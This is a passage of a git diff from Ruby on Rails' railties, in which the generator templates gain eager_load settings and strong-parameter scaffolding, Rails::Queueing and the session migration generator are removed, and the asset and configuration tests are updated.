- empty_directory_with_gitkeep "vendor/assets/javascripts"
+ empty_directory_with_keep_file 'vendor/assets/javascripts'
end
def vendor_stylesheets
- empty_directory_with_gitkeep "vendor/assets/stylesheets"
+ empty_directory_with_keep_file 'vendor/assets/stylesheets'
end
end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt b/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt
index 6c0ef31725..d83690e1b9 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt
@@ -1,5 +1,5 @@
class ApplicationController < ActionController::Base
# Prevent CSRF attacks by raising an exception.
- # For APIs, you may want to use :reset_session instead.
+ # For APIs, you may want to use :null_session instead.
protect_from_forgery with: :exception
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb
index b2b760ee7b..39275e4285 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/application.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb
@@ -46,21 +46,12 @@ module <%= app_const_base %>
# like if you have constraints or database-specific column types.
# config.active_record.schema_format = :sql
- # Enforce whitelist mode for mass assignment.
- # This will create an empty whitelist of attributes available for mass-assignment for all models
- # in your app. As such, your models will need to explicitly whitelist or blacklist accessible
- # parameters by using an attr_accessible or attr_protected declaration.
- <%= comment_if :skip_active_record %>config.active_record.whitelist_attributes = true
<% unless options.skip_sprockets? -%>
-
# Enable the asset pipeline.
config.assets.enabled = true
# Version of your assets, change this if you want to expire all your assets.
config.assets.version = '1.0'
<% end -%>
-
- # Enable app-wide asynchronous ActionMailer
- # config.action_mailer.async = true
end
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environment.rb b/railties/lib/rails/generators/rails/app/templates/config/environment.rb
index 1684986a59..e080ebd74e 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environment.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/environment.rb
@@ -1,5 +1,5 @@
-# Load the rails application
+# Load the rails application.
require File.expand_path('../application', __FILE__)
-# Initialize the rails application
+# Initialize the rails application.
<%= app_const %>.initialize!
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
index fee9eb9456..6b5b3a0b1f 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
@@ -6,6 +6,9 @@
# since you don't have to restart the web server when you make code changes.
config.cache_classes = false
+ # Do not eager load code on boot.
+ config.eager_load = false
+
# Show full error reports and disable caching.
config.consider_all_requests_local = true
config.action_controller.perform_caching = false
@@ -20,9 +23,6 @@
config.action_dispatch.best_standards_support = :builtin
<%- unless options.skip_active_record? -%>
- # Raise exception on mass assignment protection for Active Record models.
- config.active_record.mass_assignment_sanitizer = :strict
-
# Log the query plan for queries taking more than this (works
# with SQLite, MySQL, and PostgreSQL).
config.active_record.auto_explain_threshold_in_seconds = 0.5
@@ -38,7 +38,4 @@
# Debug mode disables concatenation and preprocessing of assets.
config.assets.debug = true
<%- end -%>
-
- # In development, use an in-memory queue for queueing
- config.queue = Rails::Queueing::Queue
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
index 2ffae66a57..cb3e8b123e 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
@@ -4,6 +4,12 @@
# Code is not reloaded between requests.
config.cache_classes = true
+ # Eager load code on boot. This eager loads most of Rails and
+ # your application in memory, allowing both thread web servers
+ # and those relying on copy on write to perform better.
+ # Rake tasks automatically ignore this option for performance.
+ config.eager_load = true
+
# Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
@@ -71,10 +77,10 @@
# Disable automatic flushing of the log to improve performance.
# config.autoflush_log = false
- # Use default logging formatter so that PID and timestamp are not suppressed
+ # Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
- # Default the production mode queue to an in-memory queue. You will probably
- # want to replace this with an out-of-process queueing solution
- config.queue = Rails::Queueing::Queue
+ # Default the production mode queue to an synchronous queue. You will probably
+ # want to replace this with an out-of-process queueing solution.
+ # config.queue = ActiveSupport::SynchronousQueue
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
index b27b88a3c6..202fc98adf 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
@@ -7,6 +7,11 @@
# and recreated between test runs. Don't rely on the data there!
config.cache_classes = true
+ # Do not eager load code on boot. This avoids loading your whole application
+ # just for the purpose of running a single test. If you are using a tool that
+ # preloads Rails for running tests, you may have to set it to true.
+ config.eager_load = false
+
# Configure static asset server for tests with Cache-Control for performance.
config.serve_static_assets = true
config.static_cache_control = "public, max-age=3600"
@@ -26,14 +31,9 @@
# ActionMailer::Base.deliveries array.
config.action_mailer.delivery_method = :test
- <%- unless options.skip_active_record? -%>
- # Raise exception on mass assignment protection for Active Record models.
- config.active_record.mass_assignment_sanitizer = :strict
- <%- end -%>
-
# Print deprecation notices to the stderr.
config.active_support.deprecation = :stderr
- # Use the testing queue
- config.queue = Rails::Queueing::TestQueue
+ # Use the testing queue.
+ config.queue = ActiveSupport::TestQueue
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
index e02397aaf9..3c5611ca59 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
@@ -2,8 +2,11 @@
# Your secret key for verifying the integrity of signed cookies.
# If you change this key, all old signed cookies will become invalid!
+
# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
+# You can use `rake secret` to generate a secure secret key.
+
# Make sure your secret_token is kept private
# if you're sharing your code publicly.
<%= app_const %>.config.secret_token = '<%= app_secret %>'
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
index ade0c4f78c..4a099a4ce2 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
@@ -1,8 +1,3 @@
# Be sure to restart your server when you modify this file.
<%= app_const %>.config.session_store :cookie_store, key: <%= "'_#{app_name}_session'" %>
-
-# Use the database for sessions instead of the cookie-based default,
-# which shouldn't be used to store highly confidential information
-# (create the session table with "rails generate session_migration")
-# <%= app_const %>.config.session_store :active_record_store
diff --git a/railties/lib/rails/generators/rails/app/templates/config/routes.rb b/railties/lib/rails/generators/rails/app/templates/config/routes.rb
index 85acac6725..f6b1ef1feb 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/routes.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/routes.rb
@@ -8,11 +8,11 @@
# Sample of regular route:
# get 'products/:id' => 'catalog#view'
- # Keep in mind you can assign values other than :controller and :action
+ # Keep in mind you can assign values other than :controller and :action.
# Sample of named route:
# get 'products/:id/purchase' => 'catalog#purchase', as: :purchase
- # This route can be invoked with purchase_url(id: product.id)
+ # This route can be invoked with purchase_url(id: product.id).
# Sample resource route (maps HTTP verbs to controller actions automatically):
# resources :products
@@ -35,7 +35,7 @@
# resource :seller
# end
- # Sample resource route with more complex sub-resources
+ # Sample resource route with more complex sub-resources:
# resources :products do
# resources :comments
# resources :sales do
@@ -51,5 +51,5 @@
# end
- # See how all your routes lay out with "rake routes"
+ # See how all your routes lay out with "rake routes".
end
diff --git a/railties/lib/rails/generators/rails/controller/USAGE b/railties/lib/rails/generators/rails/controller/USAGE
index 70618a3906..b658777b12 100644
--- a/railties/lib/rails/generators/rails/controller/USAGE
+++ b/railties/lib/rails/generators/rails/controller/USAGE
@@ -9,10 +9,10 @@ Description:
template engine and test framework generators.
Example:
- `rails generate controller CreditCard open debit credit close`
+ `rails generate controller CreditCards open debit credit close`
- Credit card controller with URLs like /credit_card/debit.
- Controller: app/controllers/credit_card_controller.rb
- Functional Test: test/functional/credit_card_controller_test.rb
- Views: app/views/credit_card/debit.html.erb [...]
- Helper: app/helpers/credit_card_helper.rb
+ CreditCards controller with URLs like /credit_cards/debit.
+ Controller: app/controllers/credit_cards_controller.rb
+ Functional Test: test/functional/credit_cards_controller_test.rb
+ Views: app/views/credit_cards/debit.html.erb [...]
+ Helper: app/helpers/credit_cards_helper.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
index ab0e440bc4..c77b3450a3 100644
--- a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
+++ b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
@@ -10,15 +10,15 @@ module Rails
def app
if mountable?
- directory "app"
- empty_directory_with_gitkeep "app/assets/images/#{name}"
+ directory 'app'
+ empty_directory_with_keep_file "app/assets/images/#{name}"
elsif full?
- empty_directory_with_gitkeep "app/models"
- empty_directory_with_gitkeep "app/controllers"
- empty_directory_with_gitkeep "app/views"
- empty_directory_with_gitkeep "app/helpers"
- empty_directory_with_gitkeep "app/mailers"
- empty_directory_with_gitkeep "app/assets/images/#{name}"
+ empty_directory_with_keep_file 'app/models'
+ empty_directory_with_keep_file 'app/controllers'
+ empty_directory_with_keep_file 'app/views'
+ empty_directory_with_keep_file 'app/helpers'
+ empty_directory_with_keep_file 'app/mailers'
+ empty_directory_with_keep_file "app/assets/images/#{name}"
end
end
@@ -110,7 +110,7 @@ task :default => :test
copy_file "#{app_templates_dir}/app/assets/stylesheets/application.css",
"app/assets/stylesheets/#{name}/application.css"
elsif full?
- empty_directory_with_gitkeep "app/assets/stylesheets/#{name}"
+ empty_directory_with_keep_file "app/assets/stylesheets/#{name}"
end
end
@@ -121,7 +121,7 @@ task :default => :test
template "#{app_templates_dir}/app/assets/javascripts/application.js.tt",
"app/assets/javascripts/#{name}/application.js"
elsif full?
- empty_directory_with_gitkeep "app/assets/javascripts/#{name}"
+ empty_directory_with_keep_file "app/assets/javascripts/#{name}"
end
end
@@ -155,7 +155,7 @@ task :default => :test
:desc => "Create dummy application at given path"
class_option :full, :type => :boolean, :default => false,
- :desc => "Generate rails engine with integration tests"
+ :desc => "Generate a rails engine with bundled Rails application for testing"
class_option :mountable, :type => :boolean, :default => false,
:desc => "Generate mountable isolated application"
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
index 0618b16984..f30ad6e20d 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
+++ b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
@@ -10,6 +10,8 @@ module Rails
class_option :orm, :banner => "NAME", :type => :string, :required => true,
:desc => "ORM to generate the controller for"
+ argument :attributes, :type => :array, :default => [], :banner => "field:type field:type"
+
def create_controller_files
template "controller.rb", File.join('app/controllers', class_path, "#{controller_file_name}_controller.rb")
end
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
index b3e74f9b02..d6bce40b0c 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
+++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
@@ -45,7 +45,7 @@ class <%= controller_class_name %>Controller < ApplicationController
# POST <%= route_url %>
# POST <%= route_url %>.json
def create
- @<%= singular_table_name %> = <%= orm_class.build(class_name, "params[:#{singular_table_name}]") %>
+ @<%= singular_table_name %> = <%= orm_class.build(class_name, "#{singular_table_name}_params") %>
respond_to do |format|
if @<%= orm_instance.save %>
@@ -64,7 +64,7 @@ class <%= controller_class_name %>Controller < ApplicationController
@<%= singular_table_name %> = <%= orm_class.find(class_name, "params[:id]") %>
respond_to do |format|
- if @<%= orm_instance.update_attributes("params[:#{singular_table_name}]") %>
+ if @<%= orm_instance.update_attributes("#{singular_table_name}_params") %>
format.html { redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully updated.'" %> }
format.json { head :no_content }
else
@@ -85,5 +85,17 @@ class <%= controller_class_name %>Controller < ApplicationController
format.json { head :no_content }
end
end
+
+ private
+
+ # Use this method to whitelist the permissible parameters. Example: params.require(:person).permit(:name, :age)
+ # Also, you can specialize this method with per-user checking of permissible attributes.
+ def <%= "#{singular_table_name}_params" %>
+ <%- if attributes.empty? -%>
+ params[<%= ":#{singular_table_name}" %>]
+ <%- else -%>
+ params.require(<%= ":#{singular_table_name}" %>).permit(<%= attributes.map {|a| ":#{a.name}" }.join(', ') %>)
+ <%- end -%>
+ end
end
<% end -%>
diff --git a/railties/lib/rails/generators/rails/session_migration/USAGE b/railties/lib/rails/generators/rails/session_migration/USAGE
deleted file mode 100644
index 564d1ffd78..0000000000
--- a/railties/lib/rails/generators/rails/session_migration/USAGE
+++ /dev/null
@@ -1,8 +0,0 @@
-Description:
- Creates a migration to add the sessions table used by the ORM session store.
- Pass the migration name, either CamelCased or under_scored, as an argument.
-
- Before invoking this generator, be sure that your ORM supports session stores.
-
-Example:
- `rails generate session_migration CreateSessionTable`
diff --git a/railties/lib/rails/generators/rails/session_migration/session_migration_generator.rb b/railties/lib/rails/generators/rails/session_migration/session_migration_generator.rb
deleted file mode 100644
index 258cc5b4a0..0000000000
--- a/railties/lib/rails/generators/rails/session_migration/session_migration_generator.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-module Rails
- module Generators
- class SessionMigrationGenerator < NamedBase #metagenerator
- argument :name, :type => :string, :default => "add_sessions_table"
- hook_for :orm, :required => true
- end
- end
-end
diff --git a/railties/lib/rails/queueing.rb b/railties/lib/rails/queueing.rb
deleted file mode 100644
index baf6811d3e..0000000000
--- a/railties/lib/rails/queueing.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-require "thread"
-require 'delegate'
-
-module Rails
- module Queueing
- # A container for multiple queues. This class delegates to a default Queue
- # so that <tt>Rails.queue.push</tt> and friends will Just Work. To use this class
- # with multiple queues:
- #
- # # In your configuration:
- # Rails.queue[:image_queue] = SomeQueue.new
- # Rails.queue[:mail_queue] = SomeQueue.new
- #
- # # In your app code:
- # Rails.queue[:mail_queue].push SomeJob.new
- #
- class Container < DelegateClass(::Queue)
- def initialize(default_queue)
- @queues = { :default => default_queue }
- super(default_queue)
- end
-
- def [](queue_name)
- @queues[queue_name]
- end
-
- def []=(queue_name, queue)
- @queues[queue_name] = queue
- end
- end
-
- # A Queue that simply inherits from STDLIB's Queue. Everytime this
- # queue is used, Rails automatically sets up a ThreadedConsumer
- # to consume it.
- class Queue < ::Queue
- end
-
- # In test mode, the Rails queue is backed by an Array so that assertions
- # can be made about its contents. The test queue provides a +jobs+
- # method to make assertions about the queue's contents and a +drain+
- # method to drain the queue and run the jobs.
- #
- # Jobs are run in a separate thread to catch mistakes where code
- # assumes that the job is run in the same thread.
- class TestQueue < ::Queue
- # Get a list of the jobs off this queue. This method may not be
- # available on production queues.
- def jobs
- @que.dup
- end
-
- # Marshal and unmarshal job before pushing it onto the queue. This will
- # raise an exception on any attempts in tests to push jobs that can't (or
- # shouldn't) be marshalled.
- def push(job)
- super Marshal.load(Marshal.dump(job))
- end
-
- # Drain the queue, running all jobs in a different thread. This method
- # may not be available on production queues.
- def drain
- # run the jobs in a separate thread so assumptions of synchronous
- # jobs are caught in test mode.
- Thread.new { pop.run until empty? }.join
- end
- end
-
- # The threaded consumer will run jobs in a background thread in
- # development mode or in a VM where running jobs on a thread in
- # production mode makes sense.
- #
- # When the process exits, the consumer pushes a nil onto the
- # queue and joins the thread, which will ensure that all jobs
- # are executed before the process finally dies.
- class ThreadedConsumer
- def self.start(queue)
- new(queue).start
- end
-
- def initialize(queue)
- @queue = queue
- end
-
- def start
- @thread = Thread.new do
- while job = @queue.pop
- begin
- job.run
- rescue Exception => e
- handle_exception e
- end
- end
- end
- self
- end
-
- def shutdown
- @queue.push nil
- @thread.join
- end
-
- def handle_exception(e)
- Rails.logger.error "Job Error: #{e.message}\n#{e.backtrace.join("\n")}"
- end
- end
- end
-end
diff --git a/railties/lib/rails/rack/logger.rb b/railties/lib/rails/rack/logger.rb
index 89de10c83d..d0d053e7ed 100644
--- a/railties/lib/rails/rack/logger.rb
+++ b/railties/lib/rails/rack/logger.rb
@@ -3,35 +3,45 @@ require 'active_support/core_ext/object/blank'
module Rails
module Rack
- # Log the request started and flush all loggers after it.
+ # Sets log tags, logs the request, calls the app, and flushes the logs.
class Logger < ActiveSupport::LogSubscriber
- def initialize(app, tags=nil)
- @app, @tags = app, tags.presence
+ def initialize(app, taggers = nil)
+ @app, @taggers = app, taggers || []
end
def call(env)
- if @tags
- Rails.logger.tagged(compute_tags(env)) { call_app(env) }
+ request = ActionDispatch::Request.new(env)
+
+ # Put some space between requests in development logs.
+ Rails.logger.info "\n\n" if Rails.env.development?
+
+ if Rails.logger.respond_to?(:tagged)
+ Rails.logger.tagged(compute_tags(request)) { call_app(request, env) }
else
- call_app(env)
+ call_app(request, env)
end
end
protected
- def call_app(env)
- request = ActionDispatch::Request.new(env)
- path = request.filtered_path
- Rails.logger.info "\n\nStarted #{request.request_method} \"#{path}\" for #{request.ip} at #{Time.now.to_default_s}"
+ def call_app(request, env)
+ Rails.logger.info started_request_message(request)
@app.call(env)
ensure
ActiveSupport::LogSubscriber.flush_all!
end
- def compute_tags(env)
- request = ActionDispatch::Request.new(env)
+ # Started GET "/session/new" for 127.0.0.1 at 2012-09-26 14:51:42 -0700
+ def started_request_message(request)
+ 'Started %s "%s" for %s at %s' % [
+ request.request_method,
+ request.filtered_path,
+ request.ip,
+ Time.now.to_default_s ]
+ end
- @tags.collect do |tag|
+ def compute_tags(request)
+ @taggers.collect do |tag|
case tag
when Proc
tag.call(request)
diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb
index 1cb99463cc..fba685c769 100644
--- a/railties/lib/rails/railtie.rb
+++ b/railties/lib/rails/railtie.rb
@@ -178,9 +178,6 @@ module Rails
@config ||= Railtie::Configuration.new
end
- def eager_load!
- end
-
def railtie_namespace
@railtie_namespace ||= self.class.parents.detect { |n| n.respond_to?(:railtie_namespace) }
end
diff --git a/railties/lib/rails/railtie/configuration.rb b/railties/lib/rails/railtie/configuration.rb
index 1c6b3769a5..9dc8843887 100644
--- a/railties/lib/rails/railtie/configuration.rb
+++ b/railties/lib/rails/railtie/configuration.rb
@@ -7,6 +7,16 @@ module Rails
@@options ||= {}
end
+ # Expose the eager_load_namespaces at "module" level for convenience.
+ def self.eager_load_namespaces #:nodoc:
+ @@eager_load_namespaces ||= []
+ end
+
+ # All namespaces that are eager loaded
+ def eager_load_namespaces
+ @@eager_load_namespaces ||= []
+ end
+
# Add files that should be watched for change.
def watchable_files
@@watchable_files ||= []
diff --git a/railties/test/application/assets_test.rb b/railties/test/application/assets_test.rb
index c29fa4d95f..6e9ae6b74e 100644
--- a/railties/test/application/assets_test.rb
+++ b/railties/test/application/assets_test.rb
@@ -1,6 +1,5 @@
# -*- coding: utf-8 -*-
require 'isolation/abstract_unit'
-require 'active_support/core_ext/kernel/reporting'
require 'rack/test'
module ApplicationTests
@@ -19,22 +18,27 @@ module ApplicationTests
def precompile!(env = nil)
quietly do
- precompile_task = 'bundle exec rake assets:precompile'
- precompile_task += ' ' + env if env
- out = Dir.chdir(app_path){ %x[ #{precompile_task} ] }
- assert $?.exitstatus == 0,
- "#{precompile_task} has failed: #{out}.\
- Probably you didn't install JavaScript runtime."
- return out
+ precompile_task = "bundle exec rake assets:precompile #{env} 2>&1"
+ output = Dir.chdir(app_path) { %x[ #{precompile_task} ] }
+ assert $?.success?, output
+ output
end
end
def clean_assets!
quietly do
- assert Dir.chdir(app_path){ system('bundle exec rake assets:clean') }
+ assert Dir.chdir(app_path) { system('bundle exec rake assets:clean') }
end
end
+ def assert_file_exists(filename)
+ assert File.exists?(filename), "missing #{filename}"
+ end
+
+ def assert_no_file_exists(filename)
+ assert !File.exists?(filename), "#{filename} does exist"
+ end
+
test "assets routes have higher priority" do
app_file "app/assets/javascripts/demo.js.erb", "a = <%= image_path('rails.png').inspect %>;"
@@ -95,9 +99,8 @@ module ApplicationTests
images_should_compile = ["a.png", "happyface.png", "happy_face.png", "happy.face.png",
"happy-face.png", "happy.happy_face.png", "happy_happy.face.png",
- "happy.happy.face.png", "happy", "happy.face", "-happyface",
- "-happy.png", "-happy.face.png", "_happyface", "_happy.face.png",
- "_happy.png"]
+ "happy.happy.face.png", "-happy.png", "-happy.face.png",
+ "_happy.face.png", "_happy.png"]
images_should_compile.each do |filename|
app_file "app/assets/images/#{filename}", "happy"
@@ -106,7 +109,7 @@ module ApplicationTests
precompile!
images_should_compile.each do |filename|
- assert_file_exists "#{app_path}/public/assets/#{filename}"
+ assert_file_exists("#{app_path}/public/assets/#{filename}")
end
assert_file_exists("#{app_path}/public/assets/application.js")
@@ -122,12 +125,13 @@ module ApplicationTests
assert_no_file_exists("#{app_path}/public/assets/something.else.css")
end
- def assert_file_exists(filename)
- assert File.exists?(filename), "missing #{filename}"
- end
+ test "precompile something.js for directory containing index file" do
+ add_to_config "config.assets.precompile = [ 'something.js' ]"
+ app_file "app/assets/javascripts/something/index.js.erb", "alert();"
- def assert_no_file_exists(filename)
- assert !File.exists?(filename), "#{filename} does exist"
+ precompile!
+
+ assert_file_exists("#{app_path}/public/assets/something.js")
end
test "asset pipeline should use a Sprockets::Index when config.assets.digest is true" do
@@ -154,21 +158,6 @@ module ApplicationTests
assert_match(/application-([0-z]+)\.css/, assets["application.css"])
end
- test "precompile creates a manifest file in a custom path with all the assets listed" do
- app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
- app_file "app/assets/javascripts/application.js", "alert();"
- # digest is default in false, we must enable it for test environment
- add_to_config "config.assets.digest = true"
- add_to_config "config.assets.manifest = '#{app_path}/shared'"
-
- precompile!
- manifest = "#{app_path}/shared/manifest.yml"
-
- assets = YAML.load_file(manifest)
- assert_match(/application-([0-z]+)\.js/, assets["application.js"])
- assert_match(/application-([0-z]+)\.css/, assets["application.css"])
- end
-
test "the manifest file should be saved by default in the same assets folder" do
app_file "app/assets/javascripts/application.js", "alert();"
# digest is default in false, we must enable it for test environment
@@ -189,8 +178,8 @@ module ApplicationTests
precompile!
- assert File.exists?("#{app_path}/public/assets/application.js")
- assert File.exists?("#{app_path}/public/assets/application.css")
+ assert_file_exists("#{app_path}/public/assets/application.js")
+ assert_file_exists("#{app_path}/public/assets/application.css")
manifest = "#{app_path}/public/assets/manifest.yml"
@@ -241,12 +230,13 @@ module ApplicationTests
get '/posts'
assert_match(/AssetNotPrecompiledError/, last_response.body)
- assert_match(/app.js isn&#x27;t precompiled/, last_response.body)
+ assert_match(/app\.js isn&#39;t precompiled/, last_response.body)
end
test "assets raise AssetNotPrecompiledError when manifest file is present and requested file isn't precompiled if digest is disabled" do
app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'app' %>"
add_to_config "config.assets.compile = false"
+ add_to_config "config.assets.digest = false"
app_file "config/routes.rb", <<-RUBY
AppTemplate::Application.routes.draw do
@@ -254,18 +244,20 @@ module ApplicationTests
end
RUBY
- ENV["RAILS_ENV"] = "development"
+ ENV["RAILS_ENV"] = "production"
precompile!
# Create file after of precompile
app_file "app/assets/javascripts/app.js", "alert();"
require "#{app_path}/config/environment"
- class ::PostsController < ActionController::Base ; end
+ class ::PostsController < ActionController::Base
+ def show_detailed_exceptions?() true end
+ end
get '/posts'
assert_match(/AssetNotPrecompiledError/, last_response.body)
- assert_match(/app.js isn&#x27;t precompiled/, last_response.body)
+ assert_match(/app\.js isn&#39;t precompiled/, last_response.body)
end
test "precompile properly refers files referenced with asset_path and and run in the provided RAILS_ENV" do
@@ -321,7 +313,7 @@ module ApplicationTests
get "/assets/#{URI.parser.escape(filename)}"
assert_match "not a image really", last_response.body
- assert File.exists?("#{app_path}/public/assets/#{filename}")
+ assert_file_exists("#{app_path}/public/assets/#{filename}")
end
test "assets are cleaned up properly" do
@@ -457,7 +449,6 @@ module ApplicationTests
add_to_config "config.assets.compile = true"
add_to_config "config.assets.digest = true"
- clean_assets!
precompile!
files = Dir["#{app_path}/public/assets/application-*.js"]
@@ -507,6 +498,18 @@ module ApplicationTests
assert_match 'src="/sub/uri/assets/rails.png"', File.read("#{app_path}/public/assets/app.js")
end
+ test "html assets are compiled when executing precompile" do
+ app_file "app/assets/pages/page.html.erb", "<%= javascript_include_tag :application %>"
+ ENV["RAILS_ENV"] = "production"
+ ENV["RAILS_GROUP"] = "assets"
+
+ quietly do
+ Dir.chdir(app_path){ `bundle exec rake assets:precompile` }
+ end
+
+ assert_file_exists("#{app_path}/public/assets/page.html")
+ end
+
test "assets:cache:clean should clean cache" do
ENV["RAILS_ENV"] = "production"
precompile!
diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb
index c813defe93..d014e5e362 100644
--- a/railties/test/application/configuration_test.rb
+++ b/railties/test/application/configuration_test.rb
@@ -139,22 +139,19 @@ module ApplicationTests
assert_instance_of Pathname, Rails.root
end
- test "marking the application as threadsafe sets the correct config variables" do
+ test "initialize an eager loaded, cache classes app" do
add_to_config <<-RUBY
- config.threadsafe!
+ config.eager_load = true
+ config.cache_classes = true
RUBY
require "#{app_path}/config/application"
- assert AppTemplate::Application.config.allow_concurrency
+ assert AppTemplate::Application.initialize!
end
- test "initialize a threadsafe app" do
- add_to_config <<-RUBY
- config.threadsafe!
- RUBY
-
+ test "application is always added to eager_load namespaces" do
require "#{app_path}/config/application"
- assert AppTemplate::Application.initialize!
+ assert AppTemplate::Application, AppTemplate::Application.config.eager_load_namespaces
end
test "asset_path defaults to nil for application" do
@@ -162,10 +159,11 @@ module ApplicationTests
assert_equal nil, AppTemplate::Application.config.asset_path
end
- test "the application can be marked as threadsafe when there are no frameworks" do
+ test "the application can be eager loaded even when there are no frameworks" do
FileUtils.rm_rf("#{app_path}/config/environments")
add_to_config <<-RUBY
- config.threadsafe!
+ config.eager_load = true
+ config.cache_classes = true
RUBY
use_frameworks []
@@ -175,22 +173,6 @@ module ApplicationTests
end
end
- test "frameworks are not preloaded by default" do
- require "#{app_path}/config/environment"
-
- assert ActionController.autoload?(:Caching)
- end
-
- test "frameworks are preloaded with config.preload_frameworks is set" do
- add_to_config <<-RUBY
- config.preload_frameworks = true
- RUBY
-
- require "#{app_path}/config/environment"
-
- assert !ActionView.autoload?(:AssetPaths)
- end
-
test "filter_parameters should be able to set via config.filter_parameters" do
add_to_config <<-RUBY
config.filter_parameters += [ :foo, 'bar', lambda { |key, value|
@@ -376,19 +358,6 @@ module ApplicationTests
assert_equal "utf-16", ActionDispatch::Response.default_charset
end
- test "sets all Active Record models to whitelist all attributes by default" do
- add_to_config <<-RUBY
- config.active_record.whitelist_attributes = true
- RUBY
-
- require "#{app_path}/config/environment"
-
- klass = Class.new(ActiveRecord::Base)
-
- assert_equal ActiveModel::MassAssignmentSecurity::WhiteList, klass.active_authorizers[:default].class
- assert_equal [], klass.active_authorizers[:default].to_a
- end
-
test "registers interceptors with ActionMailer" do
add_to_config <<-RUBY
config.action_mailer.interceptors = MyMailInterceptor
@@ -463,6 +432,28 @@ module ApplicationTests
end
end
+ test "valid beginning of week is setup correctly" do
+ add_to_config <<-RUBY
+ config.root = "#{app_path}"
+ config.beginning_of_week = :wednesday
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ assert_equal :wednesday, Rails.application.config.beginning_of_week
+ end
+
+ test "raises when an invalid beginning of week is defined in the config" do
+ add_to_config <<-RUBY
+ config.root = "#{app_path}"
+ config.beginning_of_week = :invalid
+ RUBY
+
+ assert_raise(ArgumentError) do
+ require "#{app_path}/config/environment"
+ end
+ end
+
test "config.action_controller.perform_caching = false" do
make_basic_app do |app|
app.config.action_controller.perform_caching = false
@@ -591,6 +582,28 @@ module ApplicationTests
assert_equal '{"title"=>"foo"}', last_response.body
end
+ test "config.action_controller.permit_all_parameters = true" do
+ app_file 'app/controllers/posts_controller.rb', <<-RUBY
+ class PostsController < ActionController::Base
+ def create
+ render :text => params[:post].permitted? ? "permitted" : "forbidden"
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ routes.prepend do
+ resources :posts
+ end
+ config.action_controller.permit_all_parameters = true
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ post "/posts", {:post => {"title" =>"zomg"}}
+ assert_equal 'permitted', last_response.body
+ end
+
test "config.action_dispatch.ignore_accept_header" do
make_basic_app do |app|
app.config.action_dispatch.ignore_accept_header = true
@@ -648,5 +661,24 @@ module ApplicationTests
ActiveRecord::Base
assert defined?(FooObserver)
end
+
+ test "config.session_store with :active_record_store with activerecord-session_store gem" do
+ begin
+ make_basic_app do |app|
+ ActionDispatch::Session::ActiveRecordStore = Class.new(ActionDispatch::Session::CookieStore)
+ app.config.session_store :active_record_store
+ end
+ ensure
+ ActionDispatch::Session.send :remove_const, :ActiveRecordStore
+ end
+ end
+
